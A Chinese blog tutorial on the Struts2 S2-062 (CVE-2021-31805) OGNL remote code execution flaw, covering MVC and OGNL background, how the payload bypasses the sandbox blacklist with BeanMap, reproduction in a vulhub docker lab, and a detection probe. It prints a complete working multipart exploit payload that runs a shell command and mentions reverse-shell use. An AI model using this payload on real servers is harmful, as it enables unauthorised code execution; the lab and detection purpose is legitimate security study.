首页 > 其他分享 >Struts2 s2-062 oglnRCE

Struts2 s2-062 oglnRCE

时间:2024-03-29 23:56:48浏览次数:31  
标签:062 get s2 request Struts2 BeanMap toString apache org

struts2漏洞总结(到19年4月) - 提笔冩未來 - 博客园 (cnblogs.com)

CVE-2021-31805

struts2介绍

image.png

什么是MVC(Model-View-Controller)?

基础 | 三层架构与MVC模式 - 知乎 (zhihu.com)

MVC模式

MVC模式是软件工程中常见的一种软件架构模式,该模式把软件系统(项目)分为三个基本部分:模型(Model)、视图(View)和控制器(Controller)。

使用MVC模式有很多优势,例如:简化后期对项目的修改、扩展等维护操作;使项目的某一部分变得可以重复利用;使项目的结构更加直观。

具体来讲,MVC模式可以将项目划分为模型(M)、视图(V)和控制器(C)三个部分,并赋予各个部分不同的功能,方便开发人员进行分组。

(1)视图(View): 负责界面的显示,以及与用户的交互功能,例如表单、网页等。

(2)控制器(Controller): 可以理解为一个分发器,用来决定对于视图发来的请求,需要用哪一个模型来处理,以及处理完后需要跳回到哪一个视图。即用来连接视图和模型。

实际开发中,通常用控制器对客户端的请求数据进行封装(如将form表单发来的若干个表单字段值,封装到一个实体对象中),然后调用某一个模型来处理此请求,最后再转发请求(或重定向)到视图(或另一个控制器)。

(3)模型(Model): 模型持有所有的数据、状态和程序逻辑。模型接受视图数据的请求,并返回最终的处理结果。

区别

没有MVC组件:
使用Servlet来进行数据类型的转化操作-CSDN博客
1、为每个请求编写处理的Servlet
2、使用getParameter()获取请求参数
3、转换参数的数据类型,包括实体对象
4、处理重定向和转发URL
有MVC:
分离页面展示代码和业务逻辑代码,提升可维护性、提升开发效率

mvc作用:使代码按层次区分好,方便按功能管理

S2-062漏洞概况

漏洞影响版本
2.0.0 <= Apache Struts <= 2.5.29
Struts历史漏洞
Releases (apache.org)
struts2漏洞总结(到19年4月) - 提笔冩未來 - 博客园 (cnblogs.com)

漏洞原理

项目使用了%{}解析OGNL表达式,对用户输入的内容进行二次解析的时候,如果没有验证,
可能导致远程代码执行

1、什么是OGNL表达式

  • Object-Graph Navigation Language(对象图导航语言)
  • 一种开源的 Java 表达式语言
  • 用于对数据进行访问,拥有类型转换、访问对象方法、操作集合对象等功能

2、OGNL表达式在Struts2中用来做什么

  • OGNL是Struts默认支持的表达式语言
  • OGNL可以取值赋值、访问类的静态方法和属性
  • 访问OGNL上下文。Struts的上下文根对象:
    ValueStack
  • %{}用来把字符串转换成表达式%25就是URL编码的%
  • 可以在struts.xml和struts标签等地方使用OGNL表达式

3、OGNL解析是怎么造成代码执行的

image.png

payload分析

  • InstanceManager:用于实例化任意对象
  • BeanMap:可以调用对象的getter、setter,setBean()可以更新对象
  • valueStack:ONGL的根对象
  • memberAccess:控制对象的访问
  • setExcludedPackageNames()
    setExcludedClasses()清除黑名单
  • Execute类:黑名单类,exec可以执行Shell

总结

使用BeanMap绕过了Struts2的黑名单(沙盒机制),并实例化了可以执行代码的类

s2-061与s2-062区别

s2-061:
#request.map=#application.get('org.apache.tom
cat.InstanceManager').newInstance('org.apache. commons.collections.BeanMap')).toString().subst
ring(0,0)
s2-062改成了:
#request.map=#@org.apache.commons.collecti
ons.BeanMap@{}).toString().substring(0,0)

062使用特殊ongl语法(@{})可以创建beanmap对象绕过黑名单

application.map=#@org.apache.commons.collections.BeanMap@{}

漏洞复现

环境docker

cd /root/vulhub/struts2/s2-061
docker-compose up -d

测试漏洞

image.png

image.png

方式一:BP抓包重放

image.png

请求包重发

image.png

加上payload

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id" 

%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) ==
true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) ==
true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF

image.png

反弹连接利用

在线反弹shell生成工具 – Zgao's blog

image.png

image.png

方式二:自动化脚本利用

image.png

检测与修复

暴破所有的参数,上送xxx=%25{6*6},检测返回值

标签:062,get,s2,request,Struts2,BeanMap,toString,apache,org
From: https://www.cnblogs.com/qgg4588/p/18104871

相关文章

  • CAXA2023随机改块色(VS2019 ObjectArx)
    1//改色2voidcmdChangeColorX(boolbRand=true,CAXA::UInt16color_Index=10)3{4CDraft::ErrorStatuses;5CRxDbObjectIdobjID;6CRxDbEntity*pEntity=NULL;7crx_nameen;8crx_pointpt;9//拾取要改色的图元10......
  • 力扣刷题Days26-122.买股票最佳时期||(js)
    目录1,题目2,代码动态规划3,回顾与总结3.1解题思路回顾(1)定义状态(2)转移方程3.2javascript中语法二维数组的创建3.3动态规划状态变化的实现1,题目给你一个整数数组 prices ,其中 prices[i] 表示某支股票第 i 天的价格。在每一天,你可以决定是否购买和/或出售股票......
  • 【ROS2】机器人建模与仿真——建模入门(URDF+rviz2)
    refer:小鱼一.机器人建模采用URDF(UnifiedRobotDescriptionFormat)统一机器人描述格式,URDF使用XML格式描述机器人文件。通过代码的形式描述机器人的各个组件,以及组件之间的联动关系。1.URDF的组成1.1申明信息xml的申明信息<?xmlversion="1.0"?>机器人的申明信......
  • Nacos2.x 服务注册成功,但服务列表查询失败
    Nacos2.x服务注册成功,但服务列表查询失败-知乎(zhihu.com)这个问题的来源是Nacos的一个BUG,创建命名空间的时候,命名空间ID不能让其自动生成,自动生成的ID是没法用的,注册服务会失败,就是上面的这个问题。再创建一个命名空间test:指定命名空间ID和命名空间名称一致修改bo......
  • VS2022软件打包 生成和事后事件处理
    VS2022软件打包生成和事后事件处理 示例目标:将编译后的文件拷贝到新的文件,并重命名方便软件打包 生成前:删除目标目录:rd/s/q"$(SolutionDir)..\setup\$(ConfigurationName)\"生成后-拷贝重命名:copy"$(TargetPath)"$(TargetDir)JCZX-2024.exe"copy"$(TargetPat......
  • 【IT老齐062】缓存一致性
    【IT老齐062】缓存一致性CacheAsidePattern禁止先删缓存,后更新数据库推荐先更新数据库,在删除缓存极端情况延迟双删......
  • 【问题处理】cannot register qt5vs vs2010 help
    问题描述:安装qt-vs-addin-1.2.4-opensource时,在安装过程中弹出错误窗口,错误信息为cannotregisterqt5vsvs2010help;安装完成后,打开VS2010无法使用插件。解决方案:Window10搜索cmd并使用管理员身份运行,随后输入如下命令"C:\ProgramFiles(x86)\MicrosoftSDKs\Windows\v7......
  • nacos2.x 启动出错问题分析
    **nacos2.x启动出错问题分析**nacos2.0以上,双击startup.cmd闪退,或者cmd下执行startup启动时报错分析nacos2.x以上,默认以集群方式启动,如果你未配置相关集群参数,就会启动闪退或报错所以单机模式启动需加参数启动服务。图片nacos2.0-1.png解决:添加参数,以改变......
  • VS2022使用.Net Framework4.0方法
    从安装了低版本VS的电脑中C:\ProgramFiles(x86)\ReferenceAssemblies\Microsoft\Framework\.NETFramework\目录下复制.NetFramework4.0等需要的目标包 如果打开项目仍然需要升级目标包的,先升级,加载项目后仍可更改目标包为.NetFramework4.0 。 v4.0ReferenceAss......
  • Struts2的工作原理是什么?Struts2中的MVC模式包含哪些核心组件?在Struts2中如何实现转发
    Struts2的工作原理是什么?Struts2的工作原理主要基于MVC设计模式,它充当Web应用框架的控制器层(Controller),负责建立模型与视图之间的数据交互。具体来说,Struts2的工作流程如下:启动与加载:当Web应用启动时,服务器会加载web.xml配置文件。在这个过程中,StrutsPrepareAndExecuteFi......